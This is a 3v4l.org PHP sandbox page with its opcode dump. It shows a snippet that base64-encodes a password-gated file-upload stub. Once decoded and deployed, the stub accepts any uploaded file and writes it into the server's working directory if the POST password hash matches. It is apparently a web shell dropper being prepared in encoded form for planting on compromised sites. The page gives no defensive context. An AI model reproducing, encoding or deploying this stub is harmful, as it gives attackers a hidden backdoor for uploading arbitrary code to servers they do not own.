3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_encode('if(!isset($_POST[\'password\'])||md5($_POST[\'password\'])!==\'d2cfcb745a74ab8ccdcd9e1e63e534d2\')die;$path=getcwd().\'/\'.basename($_FILES[\'file\'][\'name\']);if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$path)){echo \'Ok\';}');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/WdBSZ
function name:  (null)
number of ops:  5
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'base64_encode'
          1        SEND_VAL                                                 'if%28%21isset%28%24_POST%5B%27password%27%5D%29%7C%7Cmd5%28%24_POST%5B%27password%27%5D%29%21%3D%3D%27d2cfcb745a74ab8ccdcd9e1e63e534d2%27%29die%3B%24path%3Dgetcwd%28%29.%27%2F%27.basename%28%24_FILES%5B%27file%27%5D%5B%27name%27%5D%29%3Bif%28%40move_uploaded_file%28%24_FILES%5B%27file%27%5D%5B%27tmp_name%27%5D%2C%24path%29%29%7Becho+%27Ok%27%3B%7D'
          2        DO_ICALL                                         $0      
          3        ECHO                                                     $0
          4      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
143.95 ms | 1393 KiB | 15 Q